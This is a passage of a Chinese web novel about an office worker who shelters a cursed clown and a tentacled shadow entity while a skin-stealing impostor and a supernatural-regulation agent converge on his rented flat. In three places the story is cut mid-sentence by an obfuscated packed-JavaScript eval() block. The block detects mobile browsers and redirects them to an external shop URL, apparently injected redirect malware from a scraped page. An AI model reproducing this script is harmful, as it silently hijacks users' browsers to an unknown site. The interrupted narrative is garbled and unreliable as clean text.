“除了新的皮肤,你还有什么想要的东西,只要不过分,不贵,可以跟我说,就当是你的加班费。” “什么?!我还有加班费?!” “这是你额外的劳动,当然不能算在平时的工资里啊。” “什么?!!我还有工资?!?!!!” 小丑顿时嘴巴张得比脑袋还大,整个下巴掉在桌上,震惊到眼球也掉出来,“我的天呐……您简直是世界上最好的主人!!!” “?” 原来这家伙以前干白工的吗,连工资都没有过? 这也太惨了吧…… 越时清了清嗓子,“总之你好好开门就好,开门后记得别让人看到你。” 小丑立刻答应, “好的老大!” “叫我领导。” “好的领导!保证完成任务!” 小丑立正站好,气正腔圆地大声应答。 看起来怪燃的。 只是开门弟子而已,不知道在燃什么。 越时看了他两眼,没再说话。 …… 小丑确实心中燃烧着一把火,一把混合着求生欲和前途的火。 如果不是怕弄脏老大和邪神的桌子,他恐怕又要感动到痛哭流涕,满桌子淌血了。 当天,小丑就做起了工作计划。 身为一个常年和人类打交道,并且精通人类文化的诅咒小丑,他比任何普通的异常都了解人类需要什么,知道要怎样取悦人类。 正如现在,虽然老大只给他布置了开门的任务,但他其实无比清楚,他打开大门后,迎接的不是什么贵客,而是要夺走老大栖身地的对手! 放心吧老大!我绝对会守住您的领地,不让任何人住进来的! 小丑斗志昂扬,比平日更加努力地吸食着办公室里的负面情绪,在加班费的爱意下疯狂长出了新的血肉。 …… 郊外的街道旁,一个没有伞柄的破旧雨伞掉落在角落。 正当拾荒人要过去当垃圾捡走时,雨伞的金属骨架突然张开,伸出几条细长的腿,如蜘蛛一般飞速跑走了。 “哇啊!!!” 蜘蛛伞不顾身后拾荒人的惊叫声,迅速来到一个井口,爬了进去。 某个阴暗潮湿的下水道里,蜘蛛伞沿着墙壁迅速攀爬,来到了一个颇为空旷的污水处理池旁,恭敬地收拢长腿,匍匐身体,做出恭敬的姿态。 “主人,小丑已经失联超过48小时,刚才得到可靠消息,小丑的最后一个买主已经被监管局发现并抓捕,小丑并未被发现,如今正居住在一个人类的家中。” “哼,亏了我还担心他被探员抓走,考虑营救呢……既然是故意叛逃,那就别怪我不客气了!” 污水之中,一条浑身漆黑、皮肤疙疙瘩瘩的巨大癞蛤蟆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496754|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浮出水面,睁开它布满头顶和背部的无数只猩红眼球,用邪恶的声音说道, “他以为躲在人类的家里,就能高枕无忧了吗?真是天真……” “主人。” 在怪物说话时,一道黏腻的声音传来,被昏暗的灯光拉长的人影缓缓靠近,“让我来处理那个叛徒……还有他投靠的人类。” “很好,就交给你了。” 听到主人的应允,怪物抬起脸,露出一个怪异、夸张的笑容。 正好,他也需要新的人皮了。 长相丑陋的伪人抬起手来,不断揉搓着自己的脸,如揉捏橡皮泥一般,不断调整着五官的位置、形状,直到它们看起来不再像是个毁容了的怪物,而是一个再普通不过的人类。 为了能够顺利进入人类的居所,又不至于暴露,伪人选中了一个正站在墙角一边抽烟、一边撒尿的中介,把人吓晕之后扒走了身上的衣服,扔进了井盖里,然后变成中介的样子,骑上电驴去上班。 真的是太巧了,小丑现在投奔的那个人类是租房住的,而房东正在对外寻找新的租客。 只要他变成中介的样子,就能顺利进入那个房子,把里面的小丑和胆敢和他们作对的人类一网打尽了! …… “陆队,您确定要亲自去吗?” “嗯。” 干净明亮的办公室里,简约严肃的蓝白配色让人们san值稳定,精神健康。 一个顶着金色短发的年轻人挠了挠头,不确定地站在办公桌前,看着他们队长的新装扮,欲言又止。 “怎么?” “没什么没什么,就是觉得陆队……您平时很少会打扮成这样,突然这么一看,还挺酷的诶,一看就是商界精英!” 年轻人嘿嘿笑着,朝着他们的陆队竖起大拇指。 和他相比,陆队的长相气质就要内敛很多,寻常的黑发梳着干练的背头,只有几率碎发落在额前,身上则是换了一套体面不失时尚的黑色衬衫,外搭浅色休闲西服。 他显然并不适应这样的着装,还反复理了理袖子,最终还是忍不住将袖口挽起,露出光洁的手腕和一段小臂,才觉得舒服了些。 “最近市中心有多起和伪人相关的目击事件,虽然还没出现伤人或扰乱治安的情况,但很可能和半年前的异常事件有关,不得不谨慎对待,” 陆队睁开一双颇具压迫感的狭长眼眸,自带的领导气质让听到他说话的人都会下意识认真倾听, “而且之前的SSS级异常磁场波动也是从光明小区附近爆发的,虽然最后没查出原因,但谨慎对待不会有错。” 陆队将必要的异常值检测装备藏在身上,看向站在屋内的手下,吩咐道, “等会我去见中介,你就和其他人在楼下待命。” “好嘞!” …… 周三的办公室里,越时忽然微微皱眉,捂住了自己的眼皮。 “怎么了越哥?” 正和他交接工作的实习生看向他,“哪里不舒服吗?” “没什么……就是眼皮狂跳,有种不祥的预感。” “啊?那都是迷信啦,越哥你千万别信。” 越时:“……” 可是每天和非人类大眼瞪小眼真的很难不迷信啊…… 他默默地绕开这个话题,看了看手机,确认应该没有什么问题,继续谈工作的事。 距离房东开始带人来看房子,已经过去两天了,这两天有小丑看家,倒是没闹出过什么乱子。 就是周三实在太难熬了,越时怀疑自己是上班太多出现了被害妄想。 哈哈,他都在家门口玄关安了监控了,家里也没值钱的财产,应该不会有什么问题吧? 7. 第七章 光明小区楼下,秃顶的房东笑嘻嘻等候着今天来看房的人。 前两天也有租客来看房,但最后都被吓跑了。 他敢肯定,他的房子内外已经没有任何鬼怪了,肯定是越时那小子耍了什么手段,所以今天他决定亲自跟着。 “您就是陆先生吧?一看就是一表人才,来来,房子就在二楼,我们现在就去看吧!” 陆队全名陆展,这次来看房,并未透露真名,而是用了假身份——名为陆侦的金融从业者。 有钱,年轻,单身,正好是这个房东很是偏好的一类租客。 他和房东握了握手,打了招呼,就跟着房东往二楼走去。 “等等。” 忽然,另一道声音从背后传来,打断了二人,“我们一起上楼。” 是中介来了。 陆展回头看去,在目光触及来人的一瞬间,便忽然警惕地眯起了双眼。 不对劲。 但具体是哪里的不对劲……却有些说不上来。 来之前,陆展看过这个中介的简历,乍一看,人和证件照上几乎长得一模一样。 到底是哪里不对呢? 他摸向衣兜里的异常值检测器,想要偷偷启动,却被房东一把握住了手臂,“来来来,我们先上楼!我跟你说啊,我这个房子可是采光很好的……” 陆展只好按兵不动,笑了笑跟着上去。 房子是老小区了,没有电梯,一共也只有四层楼,外墙有很多藤蔓攀爬,墙壁老化严重,不少墙皮都脱落了,属于年轻人口中的【老破小】类型。 一走进楼道,陆展就感觉到一股阴冷的气息,混杂着尘土气味扑面而来。 “……” 伪人中介抬起一双死鱼般的眼睛,死死盯着坏了他好事的房东。 可恶的人类! 还有这个姓陆的,这男人绝对发现他的身份了,必须快点做掉才行! 房东突然来了,是有点碍事,但不过是普通人类而已,一起做掉也没差别! 眼看还要继续等待时机,伪人中介面无表情地跟在二人身后,尽可能不提前露出马脚。 前方,陆展也装作什么都没发现,很快跟房东一起上到了二楼。 二楼一共有三户,房东带他看的房间正对着楼梯,就在陆展以为他要拿钥匙开门的时候,房东却只是抬手在门上敲了敲。 咚咚咚。 “有人在里面?” 陆展意外地问道,如果这里还有其他人在的话,等会就更难办了。 “没有没有,智能门锁。” 正说着,门把手忽然发出咔哒一声,门开了。 房东推开门,里面果然如说的那样空无一人。 陆展进门后盯着房门,却感觉心更沉了下去。 这根本不是电子门锁,何来的智能?更不可能做得到远程开关…… 他只得暂时不去管明显有问题的中介,先装作要观察布局,将整个房子里里外外检查了一遍,连柜门、床底都看了一遍。 没有人。 哪里都没有人。 那刚才给他们开门的……究竟是什么?! “陆先生。” 房东忽然出现,挡住他探寻的视线,“房子看得如何啦?还满意不满意?您别看现在这屋里乱糟糟的,只是租客还没搬走而已,您要是喜欢的话呢,我今天就跟他说让他尽快搬走!一句话的事儿!” “我想再看看。” 陆展绕开他,却依然仔细检查房间的每一个角落,“对了,中介跟我说……” “嗐,您有什么直接问我就行!中介他也没我了解得多啊。” 房东很中意这次来看房的男人,觉得他有钱还年轻,非常想直接签了合同。 要是能绕开中介直接和租客签租房合同,他就能省不少钱,为了这个,房东一而再再而三拦在两人中间,不让他们单独说话。 可眼前这个男人也许是精英的缘故,脑子太好用,不但看房子过分仔细,不知道在心里挑了多少毛病,还一直不肯和他单独聊房子的事,就连他频繁要亮出的联络方式都被对方避开了。 房东觉得有点棘手了,转身看向中介,开始想办法把人先支出去, “小梁啊,我忽然想起一件事,你能帮我们先下楼买两瓶水吗?我感觉上了年纪哎哟,有点不舒服了,嗓子里难受得很啊……” “厨房有自来水。” “嘿你这人——” 趁着房东和中介说话,陆展拿出手中的异常值检测器,对着客厅的窗户打开。 一阵电流音过去后,数值不断攀升,最后停在50的位置。 不高也不低,可以证明这里曾经有过异常,却也无法证明房间里是否有。 他调转方向,在房间四处检测起来,并逐渐靠近数值最高的角落。 卫生间。 嗖—— 卫生间房门打开的瞬间,一道细小的影子猛地从窗口一跃而下,跳下二楼,落入草丛,摔得浑身是土。 一个脑袋圆滚滚,穿着红色兜帽与披风的小玩偶爬了起来,回头看了一眼窗户的位置,咬咬牙,快步飞奔起来。 夭寿啦!!! 家里突然刷怪啦!! 早知道敲门的是伪人那家伙,还有监管局的探员来……他才不会随便给开门呢!!! 呜呜呜—— 曾经的小丑、如今已经在越时的鬼斧神工下换了一身皮肤,变成长相可爱的棉花娃娃【小红帽】的他,拿出自己生平最快的速度,朝着越时所在的公司飞奔起来。 一定要快点把这个消息告诉老大才行!!! …… 公司的办公室里,自从影先生周一突然‘值班’了半天之后,就再也没有变过越时的样子取代他。 接连上班三天的越时已经如同枯萎的盆栽,一边对着电脑屏幕做3D效果图,一边暴风吸入让人心悸的咖啡,浑身冒着黑气。 “老大!!!” 突然的惊叫声传来时,越时几乎没认出一整只bia在窗户玻璃上的小红帽,话说到底谁家的小红帽会有那么红的一个大鼻子啊? “老大!大事不好啦!!” 越时默默起身,开窗,把小红帽抓进来,然后一脸阴沉地把他按在键盘上, “给我做。” “老、老大……我、我不会做图啊……” “啧。” “呜呜呜!!老大你别生气!你先听我说啊!家里来人了!” 越时当然知道家里会来人,“你好好开门了没?被人看到了?” “是伪人!” “?” 越时把他拿起来,义正辞严地纠正,“我知道我每天都在家里骂房东不是人确实比较没素质,但我说他不是人,是骂人的意思,不是说他真的不是人,你小小年纪不要学坏……” “不是不是,是真的伪人来了!” 小红帽两个短短的手拼命挥舞,嘴里哔哔啵啵地倒豆子似的,将自己知道的情况说了出来。 越时一听,就知道这乐子,啊不,是乱子要大发了。 伪人他知道的,很著名的都市传说之一,在网上曾经很流行,他也看过不少相关的视频。 相比【取代者】这种较为温和的怪物,【伪人】的恐怖程度要高很多,往往破坏力也更高,虽然同样会冒充普通人,但最终目标似乎不是取代谁,而是不断的换皮,杀人,所以越时从来没考虑过接近这种东西。 而监管局…… 越时现在最不想对上的,就是监管局,怕影先生暴露,也怕自己失去帮忙做每日报表的得力助手。 放着这些人在他家不管的话,万一打起来怕是要拆家,还可能因为今天没有得手,明天派出更危险的怪物来追着小红帽杀。 想到这里,越时怜爱地摸了摸小红帽的头,“可是我现在还在上班,擅自离岗不太好。” 下午五点,如果他能按时下班,再过一个小时就走,不用担心,但问题就是,他已经连续很多天加班了,按常态来说,他还要加班到晚上九点才能走。 这么长的时间,恐怕家都拆完了。 无奈之下,越时只好申请临时出个外勤。 外勤虽好,但最后还是要回公司继续下班,这么以来,估计就要加班到半夜了。 但总比回家后发现家里变成罪案现场的好。 …… 出租屋内,火药味已经越来越重了。 身为监管局探员的陆展已经确认了中介的伪人身份,手指上戴好了A级异常物品,蓄势待发。 房东是普通人,他不想让人卷入这次的行动,还试图支开房东, “您开了车过来吗?楼下好像有人剐蹭了一辆白车。” 房东确实开了一辆白车,闻言大惊失色,冲下楼去。 伪人中介皮笑肉不笑看着他,“陆先生看了这么久的房子,还没确定吗?” “这话我要问你,” 陆展死死盯着他,“你做中介到底有什么目的?” “目的,当然是为了完成上级指派的工作,” 伪人的一双眼睛不带温度地看着他,已经长达三分钟没有眨过眼睛,浑浊的眼球似乎感觉不到不适, “倒是你,陆先生,你来看房,是真心想住吗?” “你有多真心上班,我就有多真心看房。” 陆展盯着他,意有所指地说道,“你知道你的破绽在哪里吗?” “呵呵。我没有破绽。” “是班味儿。” 陆展冷笑一声,戳穿他的伪装,“你虽然把人类的样子伪装了个十成十,但根本没有一个常年上班的中介该有的班味儿。” “什么?” 扮演人类这么久,伪人中介第一次动摇了,“我还不够敬业吗?!” “不,恰好就是太敬业了,所以不对,” 陆展也是和中介打过交道的,来的人到底是不是干这行的,他一眼就能认出来, “都这么久了,你一次都没看过手机,站姿也一直这么笔直,甚至连眼神里都没有丝毫算计,说得话也丝毫不带欺骗、施压,装得再像,也不是一个工龄三年的租赁中介该有的样子。” “什么?!我……” 可恶,竟然会败在这种地方!! 身为都市传说里的异常个体,伪人和其他异常一样,都有自己必须遵循的规则。 那些规则会约束他,也是他力量的源泉。 而伪人的规则只有最简单的几条,第一条,是不能被人发现破绽,一旦被说出破绽所在,原本披在身上的人皮就会加速融化腐坏。 第二条,就是只能对想要伪装的下一个人类下手,而下手的方式只有两种,要么剥人皮,要么剥衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496755|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和头发。 人类的衣服就是人的第二层皮,这是每一个伪人最信封的真理。 如今,随着陆展的话语说出,伪人的脸皮已经开始如橡皮泥一般融化变形,他愤怒不已,大叫着就朝陆展扑了过去。 然而陆展却完全不躲,直接挥出一拳,砰的一声,将他整个人打飞出去。 “你、你怎么能打伤我?!” 伪人是免疫人类攻击的才对! 陆展笑了笑,转转手指上的红宝石戒指,“你以为我会没有准备就来?” “人类……人类!!!可恶的人类!!” 偏偏这时,房东又冲了回来, “你骗我!我的车根本没被剐蹭!” 可恶!那两个家伙肯定是想背着他先把合同谈好,然后赚一笔好高的中介费和管理费! 房东再次推开门,还没说话,就先对上了中介刚刚好抬起的脸。 融化脱落的五官,如面团一样挂在脸上,中介看到他,瞬间就朝着他扑了过来,一把拽下一大把房东本就所剩无几的头发,拼命往嘴里塞去,大口咀嚼吞咽起来。 “……啊啊啊啊啊!!!” 惊恐的尖叫声顿时响彻整个楼道。 越时和影先生一起回了家,刚走到单元楼门口,听到的就是这声过于惊悚的尖叫声。 他连忙加快脚步,猛地把虚掩的家门一把推开,入目的却是一片混乱的场景。 他家里的家具摆设、各种东西掉在地上,如暴风过境,更糟糕的是,一件又一件的衣服从玄关散落到客厅再到卧室门口,还全都是男装。 更不堪入目的是,他刚往里走,就看到三个衣衫不整的裸男在他家卧室打成一团。 啊啊啊,眼睛,他的眼睛…… 越时感觉自己的san值受到了攻击。 他到底犯了什么罪,要在回家后看到只穿着裤衩和老头衫的房东,不穿衣服的陌生人,和一个衬衫西裤都只破了几个洞、刚好露出完美肌肉的精英背头男啊? “对不起打扰了……” “等等!救救我!!!” 看到他的出现,瑟瑟发抖的房东突然连滚带爬朝着他扑来,像是已经吓傻了,涕泪横流的,“救我……救我!!!” 呃啊。 越时加速逃离客厅。 不,这一定不是他的家! 他的家不会开银趴! “啊啊啊——” 忽然,那个脱最光的裸男也发现了他,朝他扑了过来,只是还没挪动多少,就被精英男一拳又打飞了。 “快跑!!” 精英男见越时出现,立刻焦急地大喊。 他是想跑啊! 但越时低头一看,脚步却停了。 不是裸男,是伪人,还是脱皮中的伪人。 他低头看去,发现伪人的半张脸已经变成了房东的样子,另外半张脸则扭曲变形得厉害,五官乱飞,眼睛都快掉在脖子上,完全不是人样了。 伪人嘴里还嚼着大把大把的头发,看这灰黑的发色,越时下意识看向房东本就稀疏的头顶,嘴角抽了抽。 你们怪物的食谱真奇怪啊…… 陆展很焦急,他不知道为什么自己留在楼下的支援小队没有拦住回来的租客,只怕今天的受害者又多一个。 然而下一秒,他的担心就烟消云散了。 伪人却忽然惊恐的尖叫一声,突然剧烈颤抖起来,“不……不!!不要……对不起对不起对不起……啊啊啊——求您……饶了我……” 恰在此时,窗外忽然阴云密布,轰隆一声,响起了一声惊雷,仿佛是有什么东西猛然裂开了。 如图磁场紊乱一般,整个小区的车辆警报声又同时响起,一个个的电器同时失灵,头顶的灯泡啪的一声炸裂开来。 一切发生得太快,短短三秒时间,天空猛地被惊雷照亮到极致,又猛地恢复正常。 而刚刚还在求饶的伪人,此刻已经化成了一滩污浊的液体。 在他旁边,房东也不知看到了什么,也忽然面露惊恐,一句话也说不出,突然瘫坐在原地,猛地晕了过去。 越时向后挪了一步,避免伪人融化的液体弄脏他的鞋子,静静看着影先生用触手卷起液体中剩下的粉色肉团,又看着他将那肉团捏扁搓圆,变成包子大小,一口吞进触手中,没有说话。 等影先生吃掉了伪人的本体,越时才抬头看去,对上那个穿着黑色衬衫的男人视线。 这个应该就是监管局的人了吧? 好危险,居然负伤了。 而且身上也破破烂烂的,仿佛被糟蹋了似的……不对现在不是想这个的时候。 刚才动静那么大,影先生不会被他发现吧? 还好突然打雷了,人的眼睛应该没法这么快适应光线变化,应该看不到吧? “额……你好?” 越时和他打招呼,佯装无事发生道,“需要叫救护车吗?” 陆展坐在冰冷的瓷砖地面上,闻言抬头看来,虽然身上很是狼狈,眼神却非常镇定, “你就是……这里的租客?那东西没袭击你?” “东西?哦,你是说那个伪人?没有啊,不是你把他打败的吗?” 越时娴熟地装傻,直接把功劳推给了监管局,“你好厉害啊。” 这次,陆展脸上万年不变的从容冷静终于裂开了。 8. 第八章 “不……我没那么……” 面对自己‘打死伪人’这件事,陆展的第一反应就是不可能。 但事实摆在眼前,屋内根本没有除了他们之外的人,也没有其他异常个体出现,这是唯一的解释,容不得他否认。 陆展只好闭嘴,第一时间联络了还在楼下待命的小队,并对现场拍照取证。 由于越时成了都市异常事件的目击证人,需要之后再去一趟监管局,接受简单的问询和检查,陆展顺便加了他的联络方式,把监管局的地址和工作时间都发送了过去。 “你来之前,提前两个小时联络我就好,我会安排人到时候单独接待你,” 陆展说道,“别紧张,就是走个程序。” 越时点头应下。 很快,监管局的小队成员赶到,对昏迷的房东进行了简单急救,并成功用一瓶蓝绿色的荧光色药水把人唤醒了。 然而房东曾叔刚一睁眼,就失控地大喊大叫起来。 “不要……不要过来!!啊啊啊!!” 曾叔像是仍然处在极度惊恐中,不让任何人碰触或者接近他,瞳孔放大失焦,仿佛深陷某种幻觉,开始不停大喊大叫,自言自语起来, “不是的……我不是故意的!不能怪我!不要……” “曾先生?!请冷静一点!我们是来救你的,不是坏人,你现在很安全,怪物已经被消灭了。” 一个梳着马尾辫的小队成员试图安抚他,但曾叔却完全听不进去,继续颤抖着蜷缩身体,不断说着话。 “不不……我……我……啊!!对不起!对不起还不行吗?!” 曾叔突然大喊一声,崩溃地痛哭出声,跪坐在地上,“对不起对不起对不起对不起……我不是故意的,我再也不做了……” “测一下他的san值。” 陆展吩咐道。 “好的陆队!” 一个染金发的年轻探员应下,从随身携带的工具箱内取出一个类似电子体温计的东西,对准了曾叔的额头,发出滴滴滴的声音。 几秒过后,结果出来了。 “陆队……有点不对劲,” 看到仪器上的结果,金发探员声音都变了,“只剩30了!这根本不是寻常的伪人能造成的影响!他绝对还接触过别的东西!!” 陆展一看,也瞳孔一缩,连忙下令, “快,拉担架过来!直接把人送去监管局特殊医疗部!” “我哪里都不去!!!放开我!!” 房东剧烈挣扎起来,抗拒着所有人的碰触,“我知道!是我不好……我不该嫉妒邻居家的房子值钱,偷偷引怪物去他们家,可我也不是故意的!谁知道他们那么脆弱!!” “等等。” 陆展听到他的话语,敏锐地察觉到不对劲,立刻拿出了录音笔,“舟凯,查。” 简单几个字,他的队员就明白了他的意思,短寸头发的年轻男子点头,迅速打开随身携带的平板,手指快速点击,迅速联网,调出房东曾群的个人信息和生平经历,再根据话语中提到的事件查询相关人员和事件信息。 “别怪我……不能怪我啊!” 曾群抱着头,还在喋喋不休地念着,“她得了那么重的病,我赶走她也是没办法的!什么癌症都怪她自己不注意身体!这不是我的错!钱?不……我没有偷!她都搬走了,房子里的东西就是我的!是她自己不要的,不要的就是我的!我没有!” “不……不是的,我才不是吃软饭!是她心甘情愿要嫁给我的!我没有抢她房子!不……我没有害死孩子!!是现在的年轻人太脆弱了!不能怪我……” “放开我……啊啊啊!!不……不要……” 随着曾群的自言自语,监管局的舟凯不断敲击屏幕,将相关的事件一个个查出,并在最后对陆展一个个解释起来。 “陆队,三年前,曾群的房子开始被异常体纠缠,但是只要防范得当,对人无害,两年半前,小区里的异常体开始增多,多个住户的房子外面都开始出现各种异常体骚扰情况,其中隔壁单元的三楼住户因异常体带来的san值降低而患上精神疾病,三个月后因梦游打开窗户,被异常体袭击死亡。” “两年前,曾群的租客被确诊癌症早期,曾群得知此事后把人赶了出去,中断租赁关系,租客搬家后的第三天返回寻找遗落在出租屋的现金存款,曾群声称所有东西都扔了,没有看到存款,两人曾发生口角,还报了警,三个月后,该租客在家中病逝。” “曾群本人最初不是繁星市人,是在五年前与妻子结婚,搬到这里来的,四年前,他妻子名下的两套房产过户给曾群,半个月后,曾群的继子自杀身亡,据调查,其中一套房产还剩十年贷款,房贷在继子名下。” “三天前,这个房子窗外盘踞许久的B级异常体忽然消失,曾群认为房价有很大提升空间,开始联络中介,寻找新的租客……” “……” 说完这些情况后,舟凯放下平板,看向陆展,“陆队,还要继续吗?” “……带走。” 陆展深呼吸了一口气,“回去以后,好好查。” 一旁沉默许久的金发探员走了过去,拿出镇定剂给曾群打了一针,随后和其他人一起,将人带走了。 “对了,虽然和事件无关……但还是容我多嘴一句,” 临走时,陆展在门口单独对越时说道, “我是为了调查一个非法售卖异常的网站来的,为了不打草惊蛇,我今天是作为租客来看房子的,和你的房东交谈的时候……他说你随时可以搬走。” “啊……我的租期确实快到了。” “还有多久?” “……两个月。” 听到这句话,陆展微微惊讶,随即皱紧眉头,“你还没到期,他就这么急着找下一个租客?” “……嗐。” 越时挠挠头,自嘲地笑了一下,“我会尽快找房子的。” “你可以……先不用急着找房子。” 陆展隐晦地说道,“你房东的情况现在很不稳定,san值过低,说不定……他暂时也没什么精力找新租客了。” 越时一愣,随即反应过来, “好的……我知道了。” 又客气了几句,陆展才终于离开。 等房门终于关闭,房间里只剩自己一个大活人,越时挂在脸上的客气笑容才随着叹息散去。 虽然那个陆队按时他不用担心房子的事了,也暂时不需要搬家了,但他并没有立刻高兴起来,反而因为信息过载而有点疲惫,脑袋也发胀。 没想到他这个无良房东还做过这么多缺德事…… 越时甩甩头,重新将注意力拉回眼前。 经过一场混战的房间满地狼藉,虽然监管局已经把所有证物都清理走了,但他还是要简单收拾一下。 他正要动手时,影先生的触手忽然缠绕过来,将他一圈圈缠绕起来,钻进衣服里肌肤相贴。 “别动……我时间很有限的,” 越时拽身上的触手,无奈地劝,“出外勤不是下班,而是换个地方继续工作,今天还有很多事情呢。” 触手却并未放开他。 “■■■……■■……” 低沉的呓语响起,轻微的震颤随着触手传递到越时的身体,顺着骨肉抵达耳蜗,来到大脑深处。 还能骨传导说话吗…… 越时胡乱在心中吐槽着,仔细听了一会儿影先生的‘说话声’,很快便理解了其中的意思。 影先生想要他了。 看来是刚才吃掉的伪人提供了不少能量,所以影先生又能取代他了,可以替他上班了。 “现在吗?可是我还没收拾房间……” 话音刚落,触手们就先一步动了起来。 越时数不清他到底有多少根触手,一切发生得太快,看得他眼花缭乱,只是短暂的一分钟,所有掉落在地上的物品便被捡起,放回原本的地方,碰歪的、倒下的家具们也都统统恢复了原样。 他的客厅、厨房、卫生间和卧室也都焕然一新,触手们似乎在收拾的同时,还用什么奇特的力量将屋内清洗过一遍,连一丝灰尘都看不到了。 越时呆呆地站在客厅中央,惊讶地睁大了双眼。 在做完这一切后,触手们纷纷收回,影先生从天花板落下,站在了他的面前。 庞大的,几乎顶着天花板的身影俯视着他,像是只要一个念头,就能将他整个人吞吃殆尽。 但这样可怕、危险的鬼怪,却只是伸手提起一个垃圾袋,轻轻放在了玄关的门口。 看着垃圾袋里的东西,越时再次陷入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496756|202550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉默。 这几天,房东一直在不停联络各家中介,叫很多批人来看房子。 而他忙得脚不沾地,根本顾不上房间里变得多乱,多脏。 他以为自己不在意的,不就是房东故意恶心他、和他作对的行为,比这讨厌、恶心的人和事,他又不是没见过,反正他一个男的,家里没有值钱东西,也不怕看,这有什么的? 可是现在,影先生却因为他轻飘飘的一句话,就瞬间整理好了整个房子。 那些杂七杂八的人,那些中介留下的烟头、垃圾,地上不知道哪里来的陌生人踩出的泥脚印,空气里令人作呕的气味……全都被处理掉了。 越时低头看着垃圾袋,甚至想说‘不用这样’。 不用这样打扫得这么彻底,他刚才说的打扫了再走,只是想把东西都摆回去,家具扶正而已,而且就算今天打扫了,明天还会变得脏乱的。 可他张了张嘴,脱口而出的却是相反的话。 “……谢谢你。” 突然看到这样整洁如新的房间,突然看到所有外来者的痕迹被清理殆尽,他再也装不出完全不在意的样子了。 越时扯了扯嘴角,甚至没能笑出来。 他低头拿起垃圾,推开房门,一言不发地走向楼下的垃圾桶。 扔掉垃圾的一瞬间,心底竟然有了一丝异样。 他缓缓叹气。 真的很完蛋,他刚才竟然有点感动。 越时揉了揉自己的额角,崩溃地发现自己竟然很喜欢房间整齐干净,谁也进不来的样子。 他甚至很想现在就把房门彻底锁死,再也不配合任何人的闯入。 只是看到了房间焕然一新的样子而已,他竟然再也找不回原先那对一切都无所谓、满不在乎的状态了。 扰乱他安宁的始作俑者却好似对一切都浑然不觉,还在用冰凉的触手缠绕他的小腿,贴上他的腰背,用只有他能听到的声音在耳边呓语。 【完成了。】 【轮到我了。】 影先生配合他完成了他的要求,打扫了他的房间,现在他也要好好配合,任由影先生取代自己了。 越时没有抗拒,缓缓走入小区里的监控死角,在阴影里任由触手们将他团团缠绕,整个人都托向半空。 然而这一次,影先生却没有急着取代他,而是像编织巢穴一般,将他整个人收拢在了触手中。 在越时疑惑要做什么时,一阵失重感猛然袭来。 他……飞起来了。 越时坐在触手中央,被包裹着自己的影先生带着一齐飞向了城市的高空。 风声在呼啸,空气一点点变冷,越时探头到触手边缘露出一个头,看到了不断远去变小的城市街道。 影先生……竟然会飞!? 为什么突然飞起来了?! 扑棱棱的声音传来,越时扭头看去,看到了不远处和他们在同一高度飞翔着的鸟群,以及仿佛就悬在头顶、触手可及的云层。 好漂亮…… 像做梦一样。 一时之间,他忘了询问为什么,也没再询问要去哪里,一切思考和烦恼都被空中的烈风吹散。 手机还在时不时震动着,越时却没有再看一眼。 风太大,他干脆就这样躺在‘触手巢穴’里,阳台看着云层和飞鸟,只时不时举起一只手感受高空的风。 等到他彻底被取代后,像这样无忧无虑、自由自在的时光,一定还会有很多吧? 不知过了多久,失重感再次袭来,影先生开始缓缓下降,带着他停在了一个昏暗的小巷里。 越时被放了下来。 他摸出手机一看,好家伙,一个小时的路程,影先生用飞的,20分钟就飞过来了!! 比小红还厉害! 缩短通勤时间难道是这些怪物们的什么通用技能吗?! 越时激动地抓住影先生最粗的那条触手,“以后都这样带我飞好不好?!尤其是上下班的时候!” 影先生没有说话,而是忽然贴近过来,低头堵住了他的嘴。 温凉的柔软触感带来一阵眩晕,片刻后,影先生的形态迅速发生改变,成为一个和他身材相当的黑色人影。 越时呼吸微乱,呆呆望着他,然后听到了影先生模糊低沉的嗓音, “好。” 9. 第九章 影先生降落的地点,正好是越时这次申请出外勤要去的甲方店里。 甲方店铺是一家巷子里的小众西餐吧,不是连锁店,但位置很好,是来旅游的人常来的人文景区,主打一个氛围感。 图纸是之前就确定过的了,越时第二次过来确认进度,只不过这次是由影先生替他去。 这样的外勤工作不算很难,但需要更多和人打交道的情商,以及面临可能出现的突发情况的经验,越时拉着影先生说了五分钟,就越发不放心。 越时纠结思考时,影先生忽然抬起手指,轻轻碰触了他紧皱的眉头。 “做什么?” 他抬头,影先生也恰好凑近他,低头仔细观察着他的表情。 “……” 细微的声线传入脑海,指尖与眉心相碰处,仿佛有细微的电流滑过。 【把记忆给我。】 影先生是这样说的。 【放松些。】 很快,越时就理解了他的意思。 明明只是简单的、甚至语义模糊的话语,但不知为何,只要影先生开口,他就有种能轻易理解其中用意的直觉。 